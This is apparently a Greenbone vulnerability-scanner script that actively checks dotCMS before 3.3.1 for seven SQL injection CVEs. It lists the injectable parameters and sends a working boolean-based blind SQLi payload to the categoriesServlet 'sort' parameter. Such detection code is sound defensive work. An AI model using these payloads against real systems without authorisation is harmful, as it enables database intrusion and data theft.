dotCMS < 3.3.1 Multiple SQLi Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:dotcms:dotcms";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106364");
  script_version("2026-05-29T16:47:54+0000");
  script_tag(name:"last_modification", value:"2026-05-29 16:47:54 +0000 (Fri, 29 May 2026)");
  script_tag(name:"creation_date", value:"2016-11-02 09:37:45 +0700 (Wed, 02 Nov 2016)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2016-11-29 19:22:00 +0000 (Tue, 29 Nov 2016)");

  script_cve_id("CVE-2016-8902", "CVE-2016-8903", "CVE-2016-8904", "CVE-2016-8905",
                "CVE-2016-8906", "CVE-2016-8907", "CVE-2016-8908");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("dotCMS < 3.3.1 Multiple SQLi Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_dotcms_http_detect.nasl");
  script_mandatory_keys("dotcms/http/detected");
  script_require_ports("Services/www", 443);

  script_tag(name:"summary", value:"dotCMS is prone to multiple SQL injection (SQLi)
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Tries to perform an unauthenticated partly blind SQL
  injection and checks the response.");

  script_tag(name:"insight", value:"The following vulnerabilities exist:

  - CVE-2016-8902: SQLi in the categoriesServlet allows remote not authenticated attackers to
  execute arbitrary SQL commands via the sort parameter.

  - CVE-2016-8903: SQLi in the 'Site Browser > Templates pages' screen allows remote authenticated
  attackers to execute arbitrary SQL commands via the _EXT_13_orderby parameter.

  - CVE-2016-8904: SQLi in the 'Site Browser > Containers pages' screen allows remote authenticated
  attackers to execute arbitrary SQL commands via the _EXT_12_orderby parameter.

  - CVE-2016-8905: SQLi in the JSONTags servlet allows remote authenticated attackers to execute
  arbitrary SQL commands via the sort parameter.

  - CVE-2016-8906: SQLi in the 'Site Browser > Links page' screen allows remote authenticated
  attackers to execute arbitrary SQL commands via the _EXT_18_orderby parameter.

  - CVE-2016-8907: SQLi in the 'Content Types > Content Types' screen allows remote authenticated
  attackers to execute arbitrary SQL commands via the _EXT_STRUCTURE_orderBy and
  _EXT_STRUCTURE_direction parameters.

  - CVE-2016-8908: SQLi in the 'Site Browser > HTML pages' screen allows remote authenticated
  attackers to execute arbitrary SQL commands via the _EXT_15_orderby parameter.");

  script_tag(name:"impact", value:"An attacker may execute arbitrary SQL commands.");

  script_tag(name:"affected", value:"dotCMS prior to version 3.3.1.");

  script_tag(name:"solution", value:"Update to version 3.3.1 or later.");

  script_xref(name:"URL", value:"https://security.elarlang.eu/multiple-sql-injection-vulnerabilities-in-dotcms-8x-cve-full-disclosure.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

# TRUE statement
url = dir + "/categoriesServlet?start=0&count=10&sort=keywords%20LIMIT%20(SELECT%20CASE%20WHEN%20(1=1)%20THEN%201%20ELSE%20-1%20END)--";
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);

if ('{"numRows":0,"items":[]}' >!< res)
  exit(0);

# FALSE statement
url = dir + "/categoriesServlet?start=0&count=10&sort=keywords%20LIMIT%20(SELECT%20CASE%20WHEN%20(1=0)%20THEN%201%20ELSE%20-1%20END)--";
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);

if ("Content-Length: 0" >< res) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);